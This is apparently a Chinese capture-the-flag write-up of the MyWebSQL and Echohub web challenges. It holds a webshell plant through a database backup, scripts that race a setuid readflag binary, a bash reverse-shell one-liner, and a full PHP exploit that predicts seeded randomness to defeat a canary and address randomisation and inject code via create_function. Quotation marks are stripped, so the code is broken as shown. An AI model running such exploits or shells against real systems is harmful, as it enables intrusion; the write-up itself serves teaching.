CTF 2019 Mywebsql Echohub WriteUp
很有意思的題目,研究了一下自認為感覺比較有意思的兩個Web題目,記錄一下過程。
Mywebsql
題目信息
打開題目鏈接後發現運行MyWebSQL程序,版本為3.7,搜索得到相關漏洞信息:
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201902-318
漏洞文檔中說明漏洞利用條件為後臺,嘗試弱口令admin/admin登錄後臺成功。
創建表並添加一句話木馬到表內數據,利用備份功能將該表內數據備份為.php結尾文件,成功獲取Webshell(密碼不添加引號,避免備份轉義導致失敗),地址為:
http://35.243.82.53:10080/backups/xxxx.php
連上shell找到flag位於根目錄下,但是卻沒有許可權直接訪問,但是同目錄下發現readflag文件,執行後需要輸入驗證碼:
下載程序並使用IDA進行查看:
發現輸出flag處使用了ualarm()函數,將使當前進程在0x3E8u(us位單位)內產生會終止當前進程的SIGALRM信號。
管道解法
在當前進程收到退出信號前,完成驗證碼計算並提交,獲取flag,只要是考查管道。
因為時間很短,網路延遲高,因此這裡攻擊腳本只能在伺服器上運行,以求快速。
php
php雖然是題目的默認環境但是感覺並不是特別好用。
- 首先最常見的system,exec,沒有管道,無法獲取輸入輸出進行交互。
- 接著就是popen,打開一個指向進程的管道,只不過它是單向的(只能用於讀或寫)。
- 最後的解決方案proc_open,執行命令,並且打開用來輸入/輸出的文件指針。
- 此處為追求程序的速度,不能在php中使用explode,preg_match等準確但損耗性能的函數,可以選取substr或更優雅的str_replace,但可能因為php本身性能偶爾還是會超時。
腳本如下:
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = /tmp;
$stime=microtime(true);
$process = proc_open(/readflag 2>&1, $descriptorspec, $pipes, $cwd);
$string = stream_get_contents($pipes[1],130);
$string = str_replace(Solve the easy challenge first,,$string);
$string = str_replace(input your answer:,,$string);
$string = str_replace(
,,$string);
$result = eval("return $rs;");
echo $result;
fwrite($pipes[0], "$result
");
$rs = stream_get_contents($pipes[1],130);
echo $rs;
fclose($pipes[1]);
perl
這是官方解法,但是對perl卻不太熟悉,感覺perl速度可能更快
use strict;
use IPC::Open3;
my $pid = open3( *CHLD_IN, *CHLD_OUT, *CHLD_ERR, /readflag )
or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r
";
print CHLD_IN "$r
";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
python
最開始並沒有發現裝有python
結果是python3,似乎丟一個python3的執行文件上去就可執行,打算測試時伺服器已經關閉,未測試
信號解法
ualarm()函數通過SIGALRM信號結束進程,可以通過trap命令修改SIGALRM信號的處理方式:
比如,按Ctrl+C會使腳本終止執行,實際上系統發送了SIGINT信號給腳本進程,SIGINT信號的默認處理方式就是退出程序。如果要在Ctrl+C不退出程序,那麼就得使用trap命令來指定一下SIGINT的處理方式了。
trap命令的參數分為兩部分,前一部分是接收到指定信號時將要採取的行動,後一部分是要處理的信號名。
- 首先反彈可以交互bash
- bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
- trap "" 14
Echohub
題目信息
官方HINT:
表單中輸入啥都會返回phpInfo,:
查看源碼發現可以添加參數獲得源碼?source=1
Sandbox.php
<?php
$banner = <<<EOF
<!--/?source=1-->
<pre>
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | |
| | |_ ___ | | || | . ___ | | || | |_ || _| | || | . `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ | |
| | | |_ \_| | || | / . \_| | || | | |__| | | || | / .--. | || | | |__| | | || | | | | | | || | | |_) | | |
| | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | | | || | | __. | |
| | _| |___/ | | || | `.___. | || | _| | | |_ | || | `-- / | || | _| | | |_ | || | `-- / | || | _| |__) | | |
| | |_________| | || | `._____. | || | |____||____| | || | `.____. | || | |____||____| | || | `.__. | || | |_______/ | |
| | | || | | || | | || | | || | | || | | || | | |
| -------------- || -------------- || -------------- || -------------- || -------------- || -------------- || -------------- |
---------------- ---------------- ---------------- ---------------- ---------------- ---------------- ----------------
Welcome to random stack ! Try to execute `/readflag` ??
</pre>
<form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET[source])){
$file = fopen("index.php","r");
$contents = fread($file,filesize("index.php"));
echo "---------------sourcecode---------------";
echo base64_encode($contents);
echo "----------------------------------------";
fclose($file);
//Dockerfile here
echo "Dockerfile here"; //此處太長省略
highlight_file(__FILE__);
}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
else {
if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
$dfunc = join(,,get_extension_funcs($ext));
else
continue;
$disable_functions = $disable_functions.$dfunc.",";
}
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}
ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER[REMOTE_ADDR])."/");
可以得到安裝的dockerfile,經過Base64解碼後內容為內容為:
FROM ubuntu:18.04
RUN sed -i "s/http://archive.ubuntu.com/http://mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y install software-properties-common
RUN add-apt-repository -y ppa:ondrej/php
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-cache search "php" | grep "php7.3"| awk {print $1}| xargs apt-get -y install
RUN service --status-all | awk {print $4}| xargs -i service {} stop
RUN rm /var/www/html/index.html
COPY randomstack.php /var/www/html/index.php
COPY sandbox.php /var/www/html/sandbox.php
RUN chmod 755 -R /var/www/html/
COPY flag /flag
COPY readflag /readflag
RUN chmod 555 /readflag
RUN chmod u+s /readflag
RUN chmod 500 /flag
COPY ./run.sh /run.sh
COPY ./php.ini /etc/php/7.3/apache2/php.ini
RUN chmod 700 /run.sh
CMD ["/run.sh"]
安裝了PHP7.3的全部拓展,並且根據HINT運行了全部安裝的的服務,Webserver是apache2:
還能發現Base64輸出了index.php的源碼,解碼後發現代碼經過mzphp2混淆,這裡可以直接花錢解密O(∩_∩)O哈哈~
index.php(Decode)
<?php
require_once sandbox.php;
$seed = time();
srand($seed);
define("INS_OFFSET",rand(0x0000,0xffff));
$regs = array(
eax=>0x0,
ebp=>0x0,
esp=>0x0,
eip=>0x0,
);
function aslr(&$value,$key)
{
$value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);
function handle_data($data){
$data_len = strlen($data);
$bytes4_size = $data_len/4+(1*($data_len%4));
$cut_data = str_split($data,4);
$cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"x00");
foreach ($cut_data as $key=>&$value){
$value = strrev(bin2hex($value));
}
return $cut_data;
}
function gen_canary(){
$chars = abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789;
$c_1 = $chars[rand(0,strlen($chars)-1)];
$c_2 = $chars[rand(0,strlen($chars)-1)];
$c_3 = $chars[rand(0,strlen($chars)-1)];
$c_4 = "x00";
return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die("emmmmmm...Dont attack me!");
}
}
Class stack{
private $ebp,$stack,$esp;
public function __construct($retaddr,$data) {
$this->stack = array();
global $regs;
$this->ebp = &$regs[ebp];
$this->esp = &$regs[esp];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*4);
$this->stack[$this->ebp + 0x4] = dechex($retaddr);
if($data != NULL)
$this->pushdata($data);
}
public function pushdata($data){
$data = handle_data($data);
for($i=0;$i<count($data);$i++){
$this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
check_canary();
}
}
public function recover_data($data){
return hex2bin(strrev($data));
}
public function outputdata(){
global $regs;
echo "root says: ";
while(1){
if($this->esp == $this->ebp-0x4)
break;
$this->pop("eax");
$data = $this->recover_data($regs["eax"]);
$tmp = explode("x00",$data);
echo $tmp[0];
if(count($tmp)>1){
break;
}
}
}
public function ret(){
$this->esp = $this->ebp;
$this->pop(ebp);
$this->pop("eip");
$this->call();
}
public function get_data_from_reg($regname){
global $regs;
$data = $this->recover_data($regs[$regname]);
$tmp = explode("x00",$data);
return $tmp[0];
}
public function call()
{
global $regs;
global $plt;
$funcaddr = hexdec($regs[eip]);
if(isset($_REQUEST[$funcaddr])) {
$this->pop(eax);
$argnum = (int)$this->get_data_from_reg("eax");
$args = array();
for($i=0;$i<$argnum;$i++){
$this->pop(eax);
$argaddr = $this->get_data_from_reg("eax");
array_push($args,$_REQUEST[$argaddr]);
}
call_user_func_array($plt[$funcaddr],$args);
}
else
{
call_user_func($plt[$funcaddr]);
}
}
public function push($reg){
global $regs;
$reg_data = $regs[$reg];
if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
$this->stack[$this->esp] = $reg_data;
$this->esp -= 4;
}
public function pop($reg){
global $regs;
$regs[$reg] = $this->stack[$this->esp];
$this->esp += 4;
}
public function __call($_a1,$_a2)
{
check_canary();
}
}
if(isset($_POST[data])) {
$phpinfo_addr = array_search(phpinfo, $plt);
$gets = $_POST[data];
$main_stack = new stack($phpinfo_addr, $gets);
echo "--------------------output---------------------</br></br>";
$main_stack->outputdata();
echo "</br></br>------------------phpinfo()------------------</br>";
$main_stack->ret();
}
可以發現這是一個使用php實現的棧,ORZ,很有意思。
解題
要點梳理
ORZ,現在梳理一下兩個頁面的代碼邏輯:
sandbox.php:
- 禁用許多函數,比如函數名種包括file、open字元的函數都會被禁用。
foreach ( $func as $f ) {
if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) {
$disable_functions = $disable_functions . $f . ",";
}
}
- 獲取全部的內置函數名稱,存在$func變數中。
$func = get_defined_functions()["internal"];
index.php:
以當前時間進行隨機數播種:
$seed = time();
srand( $seed );
將包含全部的內置函數名稱的$func轉化為地址=>函數名的$plt數組,並且被aslr保護,也就是鍵值隨機。
define( INS_OFFSET, rand( 0x0, 0xffff ) );
function aslr(&$value,$key)
{
$value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);
棧內初始化時有canary機制,在棧內隨機初始化一個$canary,用於檢測棧是否遭受緩衝區溢出。
棧內壓入局部變數時會校驗當前棧內的$canary是否和$canarycheck一致,若不一致就表示遭到攻擊,過長的緩衝區溢出就會退出。
function gen_canary(){
$chars = abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789;
$c_1 = $chars[rand(0,strlen($chars)-1)];
$c_2 = $chars[rand(0,strlen($chars)-1)];
$c_3 = $chars[rand(0,strlen($chars)-1)];
$c_4 = "x00";
return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die("emmmmmm...Dont attack me!");
}
}
Class stack{
private $ebp,$stack,$esp;
public function __construct($retaddr,$data) {
$this->stack = array();
global $regs;
$this->ebp = &$regs[ebp];
$this->esp = &$regs[esp];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*4);
$this->stack[$this->ebp + 0x4] = dechex($retaddr);
if($data != NULL)
$this->pushdata($data);
}
phpinfo的函數地址被默認放在ebp + 0x4(函數結束後eip的下一跳),去$plt映射表中找到函數名,傳給call_user_func完成執行,因此正常輸入都會返回phpinfo信息。
public function call() {
global $regs;
global $plt;
$a = hexdec( $regs[eip] );
if ( isset( $_REQUEST[ $a ] ) ) {
$this->pop( eax );
$len = (int) $this->get_data_from_reg( eax );
$args = array();
for ( $i = 0; $i < $len; $i ++ ) {
$this->pop( eax );
$data = $this->get_data_from_reg( eax );
array_push( $args, $_REQUEST[ $data ] );
}
call_user_func_array( $plt[ $a ], $args );
} else {
call_user_func( $plt[ $a ] );
}
}
解決思路:
這是一個緩衝區溢出的題目,和bin的棧溢出的思路沒什麼太大的區別。首先繞過aslr獲取利用惡意函數地址,在繞過canary保護完成棧覆蓋,控制返回地址,調用惡意函數完成代碼執行。
防護繞過
可以發現不管是aslr還是canary都是根據隨機數進行初始化,而隨機數的的種子則是每次請求的時間time()。
經過測試發現題目伺服器上的時間設置和我們是一致的,伺服器time()函數返回的時間和本地time()函數返回的時間一致:
echo time() . "
";
function _httpPost( $url = "", $requestData = array() ) {
$curl = curl_init();
curl_setopt( $curl, CURLOPT_URL, $url );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
$res = curl_exec( $curl );
//$info = curl_getinfo($ch);
curl_close( $curl );
return $res;
}
$data = array( data => Test time );
$rs = _httpPost( http://34.85.27.91:10080/, $data );
echo $rs;
隨機數的種子可以獲取,因此對rand函數結果產生的的隨機數就可以在本地進行預測,因此aslr,canary均失效。
直接根據源碼修改得到獲取webshell的EXP:
<?php
$disable_functions = ini_get( "disable_functions" );
$loadext = get_loaded_extensions();
foreach ( $loadext as $ext ) {
if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) {
continue;
} else {
if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) {
$dfunc = join( ,, get_extension_funcs( $ext ) );
} else {
continue;
}
$disable_functions = $disable_functions . $dfunc . ",";
}
}
$func = get_defined_functions()["internal"];
$seed = time();
srand( $seed );
define( INS_OFFSET, rand( 0x0, 0xffff ) );
$regs = array( eax => 0x0, ebp => 0x0, esp => 0x0, eip => 0x0 );
function aslr( &$a, $O0O ) {
$a = $a + 0x60000000 + INS_OFFSET + 0x1;
}
//構造函數地址
$func_ = array_flip( $func );
array_walk( $func_, aslr );
$plt = array_flip( $func_ );
function handle_data( $data ) {
$len = strlen( $data );
$a = $len / 0x4 + 0x1 * ( $len % 0x4 );
$ret = str_split( $data, 0x4 );
$ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "x00" );
foreach ( $ret as $key => &$value ) {
$value = strrev( bin2hex( $value ) );
}
return $ret;
}
function gen_canary() {
$canary = abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789;
$a = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
$b = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
$c = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
$d = "x00";
return handle_data( $a . $b . $c . $d )[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary() {
global $canary;
global $canarycheck;
if ( $canary != $canarycheck ) {
die( emmmmmm...Don attack me! );
}
}
class stack {
public $ebp, $stack, $esp;
public function __construct( $a, $b ) {
$this->stack = array();
global $regs;
$this->ebp =& $regs[ebp];
$this->esp =& $regs[esp];
$this->ebp = 0xfffe0000 + rand( 0x0, 0xffff );
global $canary;
$this->stack[ $this->ebp - 0x4 ] =& $canary;
$this->canary = $canary;
$this->stack[ $this->ebp ] = $this->ebp + rand( 0x0, 0xffff );
$this->esp = $this->ebp - rand( 0x20, 0x60 ) * 0x4;
$this->stack[ $this->ebp + 0x4 ] = dechex( $a );
if ( $b != null ) {
$this->pushdata( $b );
}
}
public function pushdata( $data ) {
$data_bak = $data;
$data = handle_data( $data );
for ( $i = 0; $i < count( $data ); $i ++ ) {
$this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ];
//no args in my stack haha
check_canary();
}
}
public function recover_data( $data ) {
return hex2bin( strrev( $data ) );
}
public function outputdata() {
global $regs;
echo root says: ;
while ( 0x1 ) {
if ( $this->esp == $this->ebp - 0x4 ) {
break;
}
$this->pop( eax );
$data = $this->recover_data( $regs[eax] );
$ret = explode( "x00", $data );
echo $ret[0];
if ( count( $ret ) > 0x1 ) {
break;
}
}
}
public function ret() {
$this->esp = $this->ebp;
$this->pop( ebp );
$this->pop( eip );
$this->call();
}
public function get_data_from_reg( $item ) {
global $regs;
$a = $this->recover_data( $regs[ $item ] );
$b = explode( "x00", $a );
return $b[0];
}
public function call() {
global $regs;
global $plt;
$a = hexdec( $regs[eip] );
if ( isset( $_REQUEST[ $a ] ) ) {
$this->pop( eax );
$len = (int) $this->get_data_from_reg( eax );
$args = array();
for ( $i = 0; $i < $len; $i ++ ) {
$this->pop( eax );
$data = $this->get_data_from_reg( eax );
array_push( $args, $_REQUEST[ $data ] );
}
call_user_func_array( $plt[ $a ], $args );
} else {
call_user_func( $plt[ $a ] );
}
}
public function push( $item ) {
global $regs;
$data = $regs[ $item ];
if ( hex2bin( strrev( $data ) ) == null ) {
die( data error );
}
$this->stack[ $this->esp ] = $data;
$this->esp -= 0x4;
}
public function pop( $item ) {
global $regs;
$regs[ $item ] = $this->stack[ $this->esp ];
$this->esp += 0x4;
}
public function __call( $name, $args ) {
check_canary();
}
}
function hexToStr( $hex ) {
$str = "";
for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
}
return $str;
}
function _httpPost( $url = "", $requestData = array() ) {
$curl = curl_init();
#curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
curl_setopt( $curl, CURLOPT_URL, $url );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
//普通數據
curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
$res = curl_exec( $curl );
//$info = curl_getinfo($ch);
curl_close( $curl );
return $res;
}
$phpinfo_addr = array_search( phpinfo, $plt );
$gets = Rai4over;
$main_stack1 = new stack( $phpinfo_addr, $gets );
$ebp = $main_stack1->ebp;
$esp = $main_stack1->esp;
$padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
$shellcode = $dir="./";$file=scandir($dir);print_r($file);;
$post_data = array();
$data = str_repeat( A, $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_[create_function] ) ) ) . 000266667777;
$post_data[data] = $data;
$post_data[ $func_[create_function] ] = Rai4over;
$post_data[6666] = ;
$post_data[7777] = "1;}" . $shellcode . "/*";
$rs = _httpPost( "http://34.85.27.91:10080/", $post_data );
echo $rs;
本地構造棧,可以得到和伺服器一樣的棧結構($canarycheck,$plt等)
棧由低地址向高地址推進,計算AAA填充長度,需要減去canary的長度(-4):
$phpinfo_addr = array_search( phpinfo, $plt );
$gets = Rai4over;
$main_stack1 = new stack( $phpinfo_addr, $gets );
$ebp = $main_stack1->ebp;
$esp = $main_stack1->esp;
$padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
計算並覆蓋正確的canary,EBP值隨意,根據call函數:
public function call() {
global $regs;
global $plt;
$a = hexdec( $regs[eip] );
if ( isset( $_REQUEST[ $a ] ) ) {
$this->pop( eax );
$len = (int) $this->get_data_from_reg( eax );
$args = array();
for ( $i = 0; $i < $len; $i ++ ) {
$this->pop( eax );
$data = $this->get_data_from_reg( eax );
array_push( $args, $_REQUEST[ $data ] );
}
call_user_func_array( $plt[ $a ], $args );
} else {
call_user_func( $plt[ $a ] );
}
}
會調用call_user_func_array( $plt[ $a ], $args );,參數為數組,因此將ret地址覆蓋為create_function函數地址,create_function可以接受數組。
需要進入if分支,因此發送數據時需要發送包含create_function函數地址的查詢參數。
create_function函數傳入的參數數量、還有參數的內容也在是通過棧內pop得到,因此我們因該繼續覆蓋: